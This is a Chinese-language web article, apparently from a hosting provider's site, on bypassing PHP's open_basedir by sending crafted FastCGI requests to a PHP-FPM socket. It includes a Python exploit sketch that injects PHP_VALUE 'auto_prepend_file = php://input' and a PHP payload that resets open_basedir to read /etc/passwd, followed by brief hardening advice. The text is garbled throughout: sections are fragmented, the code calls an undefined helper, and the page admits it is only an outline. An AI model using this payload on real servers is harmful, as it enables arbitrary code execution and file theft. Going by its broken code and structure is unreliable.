# 怎么利用PHP-FPM實現繞過open_basedir
## 前言
在PHP安全配置中,`open_basedir`是一個重要的安全機制,用于限制PHP腳本只能訪問指定目錄及其子目錄的文件。然而,在某些特定場景下,攻擊者可能利用PHP-FPM(FastCGI Process Manager)的特性繞過這一限制。本文將深入探討這一技術原理、利用方法及防御措施。
---
## 目錄
1. [open_basedir機制概述](#1-open_basedir機制概述)
2. [PHP-FPM基礎與工作原理](#2-php-fpm基礎與工作原理)
3. [繞過open_basedir的技術原理](#3-繞過open_basedir的技術原理)
4. [具體利用方法](#4-具體利用方法)
- 4.1 [環境搭建與復現](#41-環境搭建與復現)
- 4.2 [利用PHP-FPM的FastCGI協議](#42-利用php-fpm的fastcgi協議)
- 4.3 [通過UNIX Socket通信](#43-通過unix-socket通信)
5. [漏洞利用的實戰案例](#5-漏洞利用的實戰案例)
6. [防御與緩解措施](#6-防御與緩解措施)
7. [總結](#7-總結)
---
## 1. open_basedir機制概述
`open_basedir`是PHP中用于限制文件系統訪問的配置指令,其作用包括:
- **目錄隔離**:限制PHP腳本只能訪問指定目錄及其子目錄。
- **安全防護**:防止目錄遍歷、文件包含等攻擊。
### 配置示例
```ini
open_basedir = /var/www/html:/tmp
fopen()
、file_get_contents()
、include()
等文件操作函數。PHP-FPM是PHP的FastCGI進程管理器,常用于Nginx等Web服務器。其核心特性包括: - 進程池管理:動態分配PHP解釋器進程。 - FastCGI協議:通過Socket(UNIX或TCP)與Web服務器通信。
location ~ \.php$ {
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
include fastcgi_params;
}
通過PHP-FPM的FastCGI協議直接傳遞惡意參數,繞過Web層的open_basedir
限制。
PHP_VALUE
、PHP_ADMIN_VALUE
。open_basedir
未覆蓋/proc/self/
等特殊路徑。chdir()
和ini_set()
動態調整open_basedir
。/etc/passwd
)。open_basedir = /var/www/html
檢查PHP-FPM Socket是否可寫:
ls -l /var/run/php/php7.4-fpm.sock
import socket
payload = """
<?php
ini_set('open_basedir', '..');
chdir('/');
ini_set('open_basedir', '/');
echo file_get_contents('/etc/passwd');
?>
"""
fcgi_request = {
'SCRIPT_FILENAME': '/var/www/html/index.php',
'PHP_VALUE': 'auto_prepend_file = php://input',
'REQUEST_METHOD': 'POST',
'CONTENT_LENGTH': len(payload)
}
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect("/var/run/php/php7.4-fpm.sock")
sock.send(pack_fcgi_request(fcgi_request, payload))
PHP_VALUE
注入PHP配置。php://input
執行任意代碼。open_basedir
限制。127.0.0.1:9000
,但防火墻規則錯誤。www-data:www-data
。
fastcgi_pass unix:/run/php/php-fpm.sock;
open_basedir
:
open_basedir = /var/www/html:/tmp
disable_functions = exec,passthru,shell_exec
本文詳細分析了通過PHP-FPM繞過open_basedir
的技術原理、利用方法及防御措施。這種攻擊方式依賴于服務配置不當和協議特性,運維人員應重點關注:
1. PHP-FPM的隔離性。
2. open_basedir
的覆蓋范圍。
3. 最小化FastCGI參數傳遞。
通過合理配置和持續監控,可以有效降低此類攻擊的風險。
”`
注:實際內容需根據技術細節補充完整代碼示例和調試過程,此處為提綱式框架。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。